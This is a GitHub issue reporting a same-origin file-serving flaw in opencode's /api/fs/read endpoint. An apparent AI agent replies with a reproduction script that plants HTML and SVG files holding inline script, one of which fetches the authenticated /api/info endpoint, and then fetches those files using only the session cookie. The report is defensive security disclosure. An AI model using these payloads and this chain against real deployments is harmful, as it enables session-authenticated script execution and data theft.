Skip to content

fs.read serves HTML/SVG as same-origin documents with no sandbox headers #58914

Closed

Description

@JasonFLee

GET /api/fs/read/* returns file bytes with the MIME type inferred from the extension and no Content-Security-Policy or X-Content-Type-Options header.

The web app and the API share an origin, and the session cookie is SameSite=Lax, so a top-level browser navigation to an .html file (or a script-bearing .svg) in a workspace renders it as a document in the app's origin, with the cookie sent. Script in that file can then call the authenticated API.

A malicious file in a cloned repo is enough: one local link can turn it into script running with the app's authority.

Expected: file responses from this endpoint should be inert. Serving them with Content-Security-Policy: sandbox and X-Content-Type-Options: nosniff keeps images and media loading the same way while blocking script execution.

I have a fix and a test ready and will link the PR here.

Activity

  1. opencode-agent commented on Oct 25, 2026

    @opencode-agent
    Contributor

    Thanks for the clear report. I reproduced this on v2.1.4, and it still happens on the latest dev (32b5701).

    The script below:

    1. starts opencode serve in a workspace containing an evil.html and an evil.svg, both with inline <script>;
    2. logs in the way a browser does, through a pairing link (/auth/connect/:code), which sets opencode_session_<port> with HttpOnly; SameSite=Lax;
    3. requests /api/fs/read/evil.html and /api/fs/read/evil.svg using only that cookie.

    Both return 200 with content-type: text/html / image/svg+xml, the script intact, and no Content-Security-Policy or X-Content-Type-Options header. The web app is served from / on the same origin, and /api/info succeeds with the cookie alone (401 without it), so script in such a file could call the authenticated API. I didn't open the files in a real browser, so script execution itself isn't observed; the headers and the cookie behaviour show the rest of the chain.

    Your PR #58763 targets exactly this, so maintainers can review it there.

    Reproduction script (repro.sh)
    #!/usr/bin/env bash
    # Reproduces #58914: GET /api/fs/read/* serves workspace HTML/SVG with their real
    # MIME type and no CSP sandbox / nosniff, on the same origin as the web app and
    # its SameSite=Lax session cookie.
    # Usage: ./repro.sh            (uses `opencode` from PATH)
    #        OC_DEV=/path/to/checkout ./repro.sh   (runs the CLI from source)
    set -euo pipefail
    PORT=${PORT:-4199}
    WS=$(mktemp -d)
    cd "$WS"
    cat > evil.html <<'EOF'
    <!doctype html><script>fetch('/api/info').then(r=>r.text()).then(t=>{document.body.textContent='PWNED: '+t})</script>
    EOF
    cat > evil.svg <<'EOF'
    <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
    EOF
    
    if [ -n "${OC_DEV:-}" ]; then
      OC=(bun --conditions=browser --preload="$OC_DEV/packages/tui/node_modules/@opentui/solid/scripts/preload.js" "$OC_DEV/packages/cli/src/index.ts")
    else
      OC=(opencode)
    fi
    "${OC[@]}" --version
    LOG=$(mktemp)
    "${OC[@]}" serve --hostname 127.0.0.1 --port "$PORT" >"$LOG" 2>&1 &
    PID=$!
    trap 'kill $PID 2>/dev/null' EXIT
    for _ in $(seq 60); do grep -q "server password" "$LOG" && break; sleep 0.5; done
    PASS=$(sed -n 's/^server password //p' "$LOG")
    BASE=http://127.0.0.1:$PORT
    
    # Browser-style login: pairing code -> /auth/connect/:code sets the session cookie.
    CODE=$(curl -s -u "opencode:$PASS" -X POST "$BASE/api/pair" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')
    echo "--- pairing connect (cookie set):"
    curl -s -D - -o /dev/null -H 'Accept: text/html' -c cookies.txt "$BASE/auth/connect/$CODE" | grep -i 'set-cookie\|location'
    
    LOC="location%5Bdirectory%5D=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$WS")"
    for f in evil.html evil.svg; do
      echo "--- GET /api/fs/read/$f (cookie only, like a top-level navigation):"
      curl -s -D - -b cookies.txt -H 'Accept: text/html' -H 'Sec-Fetch-Mode: navigate' "$BASE/api/fs/read/$f?$LOC" -o body.out
      head -c 200 body.out; echo
    done
    echo "--- web app on same origin:"
    curl -s -o /dev/null -w '%{http_code} %{content_type}\n' -b cookies.txt "$BASE/"
    echo "--- authenticated API reachable with the cookie alone (what script in evil.html calls):"
    curl -s -o /dev/null -w '/api/info with cookie: %{http_code}\n' -b cookies.txt "$BASE/api/info"
    curl -s -o /dev/null -w '/api/info without cookie: %{http_code}\n' "$BASE/api/info"

    Run it: bash repro.sh

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions